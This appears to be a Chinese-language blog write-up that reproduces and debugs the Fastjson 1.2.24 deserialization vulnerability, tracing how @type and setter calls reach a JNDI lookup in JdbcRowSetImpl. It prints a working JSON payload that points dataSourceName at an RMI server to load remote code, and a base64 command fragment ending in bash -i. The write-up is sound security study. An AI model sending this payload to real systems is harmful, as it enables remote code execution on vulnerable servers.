Fastjson 1.2.24反序列化漏洞浅析
前言
Fastjson 1.2.24反序列化漏洞,作为Java反序列化学习过程中必调试的一个经典漏洞,挖了很久的坑了,在这里填一下。
概要
Fastjson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法(与一般的反序列化调用readObject不相同,但思路类似)。JdbcRowSetImpl类的 setAutoCommit()
会调用 connect()
函数, connect()
会调用 InitialContext.lookup(dataSourceName)
,并且参数可控,造成JDNI注入。所以Fastjson的利用过程是从反序列化触发JNDI注入,涉及到两种漏洞。
调试环境搭建
最开始的时候想用p牛的vulhub,但发现没办法改Dockerfile,也不能改Java的启动设置,打不开debug模式。此处参考vulhub的docker hub记录、jar包和JAVA 漏洞靶场的Dockerfile,自己构建了Dockerfile。
选择较低版本的jdk方便复现,Dockerfile:
|
|
docker-compose.yml
:
|
|
Fastjson初识
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
说白了,Fastjson就是一个用来序列化/反序列化Java对象,并储存为json格式的库。JavaBean就是一种满足一些规范(比如实现 getXXX()
方法和 setXXX()
方法)的Java对象,可以简单理解为Java对象。
何为 @type
字段?
Java具有多态的特性,当一个对象的某属性是具有多态的对象时,如果不知道该对象的具体类别,fastjson仅会将其反序列化为父类,从而丢失了子类的额外属性。为了解决这个问题,fastjson提供了 SerializerFeature.WriteClassName
参数以及 @type
字段:
|
|
如果@type被指定为某恶意的类,是否会产生漏洞?
漏洞复现
应用存在一个根据请求发送的数据更新user对象属性的功能,该功能使用fastjson对请求数据进行解析:
|
|
在这里选择 JNDI-Injection-Exploit
作为JNDI恶意服务端,尝试执行 touch /tmp/hachp1
:
|
|
因为没有bash,只有sh,不支持大括号的形式( {echo,dG91Y2ggL3RtcC9oYWNocDE=}|{base64,-d}|{bash,-i}
)
使用对应的url rmi://x.x.x.x:1099/4fvkzz
构造RMI payload:
|
|
构造完整payload:
|
|
利用过程跟踪
setXXX的触发过程
在此漏洞中,触发的是以“set”开头的被反序列化的对象的方法。
由于json解析是通过框架的Filter进行,无法直接在应用中打断点,需要去fastjson库里打断点。
漏洞的实际入口在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\support\spring\FastJsonHttpMessageConverter.java#190
:
|
|
跟进去,首先进入词法分析和语法分析器(json的语法比较简单,fastjson是按位进行解析的),在 fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#322
,如果匹配到“@type”,会获取相关的类(在这里是JdbcRowSetImpl类):
|
|
fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#367
会获取相应的反序列化器:
|
|
跟进去,会在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\parser\ParserConfig.java#createJavaBeanDeserializer:526
调用JavaBeanInfo类的build方法:
|
|
其中包括了获取要反序列化的类有哪些成员属性和方法( fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\util\JavaBeanInfo.java#build:134
):
|
|
在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\util\JavaBeanInfo.java#build:328
会对获取的方法依次遍历,如果方法名以 set
开头,则会获取对应的属性
|
|
这些属性会被存入FieldInfo对象中,供后期反序列化时使用。可以看到,只要是“set”开头的方法,都会尝试获取其对应属性。此外,“get”开头的方法也会在 build
方法中做类似操作。
之后,会根据以上获得的类相关信息在 fastjson-1.2.24-sources.jar!\com\alibaba\fastjson\parser\deserializer\ASMDeserializerFactory.java:78
,通过ASM动态加载字节码以获得类 com.sun.rowset.JdbcRowSetImpl
的对应的反序列化器 FastjsonASMDeserializer_2_JdbcRowSetImpl.class
(只有在初次加载时才会调用,再次加载时会从hashmap中查找,所以再次跟时需要重启服务器):
|
|
由于后面的漏洞触发过程中会用到该类,我们在这里把它dump出来,通过动态执行,该类的字节码会dump到docker的根目录下:
|
|
然后继续执行, fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#368
对刚加载的动态类进行反序列化:
|
|
该过程将会进入到动态加载的类,调用该类的 deserialze
方法,盗版deserialize,没有i :)
我们来看一下动态加载的反序列化器类,ASM得到的反序列化器类继承了 JavaBeanDeserializer
:
|
|
之后会调用 deserialze
方法,所以可以在 JavaBeanDeserializer#deserialze:271
打断点。然后会执行parseField方法,以还原对象的属性:
JavaBeanDeserializer#deserialze:600
: boolean match = parseField(parser, key, object, type, fieldValues);
然后执行到 JavaBeanDeserializer#parseField:773
: fieldDeserializer.parseField(parser, object, objectType, fieldValues);
跟进: DefaultFieldDeserializer#parseField:71
:
|
|
当在此处尝试反序列化我们构造的恶意类的成员属性时,会进入 JavaBeanDeserializer#deserialze:593
,调用 setValue
方法:
|
|
在 FieldDeserializer#setValue:96,
如果需要反序列化对应属性XXX,会调用之前获取到的“setXXX”方法:
|
|
再次回顾一下payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/hzbsma","autoCommit":true}
,可以注意到,在反序列化时会设置对象的 autoCommit
的属性,此时会调用其 setAutoCommit
方法。另外还有一个细节,我们把 dataSourceName
属性放到前面,是因为需要先给对象的 dataSourceName
赋值,fastjson按照字节一个一个的处理,所以在处理后面的 setAutoCommit
时,该属性已经被赋值了。
到这里,fastjson的“setXXX”触发过程分析完毕。
触发JNDI注入:JdbcRowSetImpl类的利用
下面我们再来看一下利用的触发JDNI注入的类,可以看到会使用 dataSourceName
属性作为参数,触发JNDI查询:
|
|
到这里,整个漏洞触发过程分析完毕(后面就是接JNDI注入的链的过程了,这里不再赘述)。对于Java安全的初学者:Java的 this.getXXX()
可以看作是 this.XXX
,与php的反序列化链类似。比如 this.getDataSourceName()
看作 this.dataSourceName
,所以payload中对该属性进行了赋值。
总结
- fastjson支持
@type
以指定反序列化的类别->想到恶意类 - 怎么利用?fastjson还原json数据时会实例化对象、会还原该对象的属性->调用getXXX和setXXX->查找拥有能够利用的getXXX或setXXX方法的类
- 后续JNDI利用:JNDI利用链的跟踪,与fastjson没有直接的关系
- 在反序列化一个对象前会先获取对应的反序列化器,有的反序列化器通过ASM动态加载得到
- 跟踪的难点在于词法解析的过程比较复杂,且过程中存在动态加载的类,无法直接源码调试
- 整个跟踪过程实际上是学习fastjson在解析对象时如何构造其反序列化器,反序列化器中会获取要反序列化的类的成员方法和成员变量,并根据情况调用其
setXXX()
和getXXX()
方法